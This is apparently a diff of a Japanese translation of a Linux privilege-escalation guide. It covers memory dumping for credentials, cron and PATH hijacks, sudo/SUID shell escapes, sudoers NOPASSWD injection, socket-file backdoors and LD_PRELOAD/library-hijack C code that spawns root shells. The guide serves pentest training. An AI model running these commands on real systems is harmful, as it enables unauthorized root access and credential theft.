常に可能な [**electron/cef/chromiumデバッガー**]が実行されているか確認してください。これを悪用して特権を昇格させることができます](electron-cef-chromium-debugger-abuse.md)**Linpeas**プロセスのコマンドライン内の `--inspect` パラメータをチェックすることでそれらを検出します。\
また、**プロセスのバイナリに対する権限を確認してください**。誰かを上書きできるかもしれません。
### プロセス監視
@ -177,23 +177,23 @@ top -n 1
### プロセスメモリ
サーバーのいくつかのサービスは、**メモリ内に平文で資格情報を保存します**。\
サーバーの一部のサービスは、**メモリ内に平文で資格情報を保存します**。\
通常、他のユーザーに属するプロセスのメモリを読むには**root権限**が必要です。したがって、これは通常、すでにrootであり、さらに多くの資格情報を発見したいときにより有用です。\
ただし、**通常のユーザーとしては、自分が所有するプロセスのメモリを読むことができることを忘れないでください**。
> [!WARNING]
> 現在、ほとんどのマシンは**デフォルトでptraceを許可していない**ため、特権のないユーザーに属する他のプロセスをダンプすることはできません。
>
> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します
> ファイル _**/proc/sys/kernel/yama/ptrace_scope**_ はptraceのアクセス可能性を制御します
>
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つすべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 0**: 同じuidを持つ限り、すべてのプロセスをデバッグできます。これがptracingが機能していた古典的な方法です。
> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグできます。
> - **kernel.yama.ptrace_scope = 2**: 管理者のみがptraceを使用できます。これはCAP_SYS_PTRACE権限が必要です。
> - **kernel.yama.ptrace_scope = 3**: ptraceでトレースできるプロセスはありません。一度設定されると、ptracingを再度有効にするには再起動が必要です。
#### GDB
FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報の中を検索することができます。
FTPサービスのメモリにアクセスできる場合例えば、ヒープを取得し、その資格情報を内部で検索することができます。
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
@ -230,7 +230,7 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
`/dev/mem` はシステムの **物理** メモリへのアクセスを提供し、仮想メモリではありません。カーネルの仮想アドレス空間は /dev/kmem を使用してアクセスできます。\
通常、`/dev/mem`**root****kmem** グループのみに読み取り可能です。
```
strings /dev/mem -n10 | grep -i PASS
@ -266,10 +266,10 @@ Press Ctrl-C to end monitoring without terminating the process.
```
### ツール
プロセスのメモリをダンプするには、次のツールを使用できます:
プロセスのメモリをダンプするには、次のものを使用できます:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、自分が所有するプロセスをダンプできます
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます
- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要)
### プロセスメモリからの資格情報
@ -288,16 +288,16 @@ strings *.dump | grep -i password
```
#### mimipenguin
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** ことができ、いくつかの **よく知られたファイル** からも情報を取得します。正しく動作するには root 権限が必要です。
ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認証情報を盗む** **いくつかのよく知られたファイル** から情報を取得します。正しく動作するには root 権限が必要です。
| 機能 | プロセス名 |
| ------------------------------------------------ | -------------------- |
| GDM パスワード (Kali デスクトップ, Debian デスクトップ) | gdm-password |
| Gnome キーチェーン (Ubuntu デスクトップ, ArchLinux デスクトップ) | gnome-keyring-daemon |
| LightDM (Ubuntu デスクトップ) | lightdm |
| VSFTPd (アクティブ FTP 接続) | vsftpd |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
| 機能 | プロセス名 |
| ------------------------------------------------ | --------------------- |
| GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password |
| Gnome Keyring (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon |
| LightDM (Ubuntu デスクトップ) | lightdm |
| VSFTPd (アクティブ FTP 接続) | vsftpd |
| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 |
| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
@ -323,12 +323,12 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
```
### Cron path
例えば、_/etc/crontab_ の中に次のような PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
例えば、_ /etc/crontab _の中にPATHが見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
(_ユーザー "user" /home/user に対して書き込み権限を持っていることに注意してください_)
(_ユーザー"user"が/home/userに対して書き込み権限を持っていることに注意してください_)
この crontab の中で、root ユーザーがパスを設定せずにコマンドやスクリプトを実行しようとすると例えば: _\* \* \* \* root overwrite.sh_\
その場合、次のようにして root シェルを取得できます:
このcrontabの中で、rootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとするとします。例えば: _\* \* \* \* root overwrite.sh_\
その場合、次のようにしてrootシェルを取得できます:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```
### Cron using a script with a wildcard (Wildcard Injection)
もしルートによって実行されるスクリプトがコマンド内に「**\***」を含んでいる場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例:
もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、権昇格)を引き起こすことができます。例:
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
@ -362,7 +362,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Frequent cron jobs
1分ごと、2分ごと、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。
1分ごと、2分ごと、または5分ごとに実行されるプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。
例えば、**1分間に0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします:
```bash
@ -419,14 +419,14 @@ Unit=backdoor.service
```
ドキュメントでは、Unitについて次のように説明されています
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記を参照。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値は接尾辞を除いたタイマー単位と同じ名前のサービスにデフォルト設定されます(上記を参照。アクティブにされるユニット名とタイマー単位のユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。
したがって、この権限を悪用するには、次のことが必要です:
- **書き込み可能なバイナリを実行している**systemdユニット例えば、`.service`)を見つける
- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため)
**`man systemd.timer`でタイマーについて詳しく学びましょう。**
**タイマーについて詳しくは `man systemd.timer` を参照してください。**
### **タイマーの有効化**
@ -443,22 +443,22 @@ UnixドメインソケットUDSは、クライアント-サーバーモデ
ソケットは`.socket`ファイルを使用して構成できます。
**`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます:
**`man systemd.socket`でソケットについてさらに学。** このファイル内では、いくつかの興味深いパラメータを設定できます:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。
- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。
- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。
- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。
- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービスサフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。
- `Service`: **受信トラフィック**で**アクティブ化する**サービスユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス接尾辞が置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。
### 書き込み可能な.socketファイル
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動するまで待つ必要があります。**\
**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**するができ、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるでしょう。**\
_システムがそのソケットファイル構成を使用している必要があり、さもなければバックドアは実行されません_
### 書き込み可能なソケット
**書き込み可能なソケットを特定した場合**_ここではUnixソケットについて話しており、構成`.socket`ファイルについては話していません_、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
**書き込み可能なソケットを特定した場合**_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。
### Unixソケットの列挙
```bash
@ -473,7 +473,8 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```
**エクスプロイトの例:**
**エクスプロイトの例:**
{{#ref}}
socket-command-injection.md
@ -481,15 +482,15 @@ socket-command-injection.md
### HTTPソケット
HTTPリクエストをリッスンしている**ソケット**がいくつか存在する可能性があります_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_。これを確認するには、次のコマンドを使用できます:
HTTPリクエストをリッスンしている**ソケット**がいくつか存在する可能性があります_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_。これを確認するには、次のコマンドを使用できます
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
もしソケットが**HTTP**リクエストで**応答**する場合、あなたはそれと**通信**でき、場合によっては**脆弱性を悪用**できるかもしれません。
もしソケットが**HTTP**リクエストで**応答**する場合、あなたはそれと**通信**でき、場合によっては**いくつかの脆弱性を悪用**できるかもしれません。
### 書き込み可能なDockerソケット
Dockerソケットは、通常`/var/run/docker.sock`あり、保護すべき重要なファイルです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。
Dockerソケットは、通常`/var/run/docker.sock`見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。
#### **Docker CLIを使用した特権昇格**
@ -538,7 +539,7 @@ Upgrade: tcp
**`docker`グループ内にいるためにdockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/index.html#docker-group)ので注意してください。もし[**docker APIがポートでリスニングしている場合、妥協することも可能です**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。
**dockerから脱出する方法やそれを悪用して特権を昇格させる方法をさらに確認してください**
**dockerから脱出する方法やそれを悪用して特権を昇格させる方法については、以下を確認してください**
{{#ref}}
docker-security/
@ -546,7 +547,7 @@ docker-security/
## Containerd (ctr) 特権昇格
**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**
**`ctr`** コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できる可能性があります**
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +555,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** 特権昇格
**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**
**`runc`** コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できる可能性があります**
{{#ref}}
runc-privilege-escalation.md
@ -564,13 +565,13 @@ runc-privilege-escalation.md
D-Busは、アプリケーションが効率的に相互作用し、データを共有できる高度な**プロセス間通信IPCシステム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザー体験を向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの累積的な効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を可能にする場合があります。
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。
指定されたユーザーやグループのないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
ユーザーまたはグループが指定されていないポリシーは普遍的に適用され、"default"コンテキストポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -579,7 +580,8 @@ D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メ
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**D-Bus通信を列挙し、悪用する方法をここで学びましょう:**
**D-Bus通信を列挙し、悪用する方法をここで学びましょう**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
@ -658,7 +660,8 @@ gpg --list-keys 2>/dev/null
### Groups
ルート特権を付与する可能性のある**グループのメンバー**であるか確認してください:
あなたがルート権限を付与する可能性のある**グループのメンバー**であるか確認してください:
{{#ref}}
interesting-groups-linux-pe/
@ -683,27 +686,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### 知られているパスワード
もし**環境のパスワードを知っている場合**は、そのパスワードを使って**各ユーザーとしてログインを試みてください**。
もし**環境のパスワードを知っている**場合は、**各ユーザーとしてログインを試みてください**。
### Su Brute
多くのノイズを出すことを気にしない場合、`su``timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使てユーザーをブルートフォースすることができます。\
多くのノイズを出すことを気にしない場合、`su``timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。
## 書き込み可能なPATHの悪用
### $PATH
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、**あなたの書き込み可能なフォルダよりも前に位置するフォルダからは読み込まれない**必要があります。
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー理想的にはrootによって実行されるコマンドの名前であり、**$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダからは読み込まれない**必要があります。
### SUDOとSUID
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットが設定されている可能性があります。それを確認するには:
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可します。** 例えば:
一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可能にします。** 例えば:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -714,7 +717,7 @@ less>! <shell_comand>
```
### NOPASSWD
Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でコマンドを実行できる場合があります。
Sudoの設定により、ユーザーは他のユーザーの権限でパスワードを知らなくてもコマンドを実行できる場合があります。
```
$ sudo -l
User demo may run the following commands on crashlab:
@ -748,7 +751,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```
ワイルドカード(*)が使用されると、さらに簡単になります:
ワイルドカード(\*)が使用されると、さらに簡単になります:
```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
@ -776,18 +779,18 @@ sudo less
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
そのため、suidバイナリを呼び出すと、この関数が実行されます。
その、suidバイナリを呼び出すと、この関数が実行されます。
### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ.soファイルを指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
しかし、システムのセキュリティを維持し、この機能が悪用されるのを防ぐために、特に **suid/sgid** 実行可能ファイルに対して、システムはいくつかの条件を強制します:
しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します:
- ローダーは、実ユーザーID (_ruid_) が有効ユーザーID (_euid_) と一致しない実行可能ファイルに対して **LD_PRELOAD** を無視します。
- suid/sgid の実行可能ファイルに対しては、suid/sgid ある標準パスのライブラリのみがプリロードされます。
- ローダーは、実ユーザーID_ruid_が有効ユーザーID_euid_と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。
- suid/sgidの実行可能ファイルに対しては、suid/sgidである標準パスのライブラリのみがプリロードされます。
特権昇格は、`sudo` でコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
```
Defaults env_keep += LD_PRELOAD
```
@ -842,7 +845,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めることになります:
これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります:
```c
#include <stdio.h>
#include <stdlib.h>
@ -892,9 +895,9 @@ system("/bin/bash -p");
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合のためのものです。
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、その他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -911,7 +914,7 @@ https://gtfoargs.github.io/
### FallOfSudo
`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけることができます。
`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけられるかどうかを確認できます。
### Sudoトークンの再利用
@ -920,7 +923,7 @@ https://gtfoargs.github.io/
特権を昇格させるための要件:
- "_sampleuser_" としてシェルを持っている
- "_sampleuser_" が**過去15分間に `sudo`** を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- "_sampleuser_" が**過去15分間に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です
- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である
- `gdb` にアクセス可能である(アップロードできる必要があります)
@ -954,12 +957,12 @@ sudo su
### /etc/sudoers, /etc/sudoers.d
ファイル `/etc/sudoers``/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** かもしれません。また、**もし** どのファイルでも **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。
**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** 可能性があります。また、**もし** どのファイルでも **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
この権限を悪用することができます。
書き込みができれば、この権限を悪用できます。
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@ -979,9 +982,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなどので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。次に、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなどので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。
ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
ユーザーが異なるシェルbash以外を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc``~/.zshrc``~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。
または、次のようなコマンドを実行します:
```bash
@ -1006,8 +1009,9 @@ sudo ls
これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ****検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、特権を昇格させることができるかもしれません。\
次のページで **この誤設定を悪用する方法** を確認してください:
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\
この誤設定を **どのように悪用するか** を次のページで確認してください:
{{#ref}}
ld.so.conf-example.md
@ -1033,7 +1037,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
`/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使って悪意のあるライブラリを作成します。
`/var/tmp`悪意のあるライブラリを作成します。コマンドは次の通りです:`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1048,8 +1052,8 @@ execve(file,argv,0);
```
## Capabilities
Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
以下のページを読んで、**capabilitiesについておよびそれを悪用する方法を学んでください**
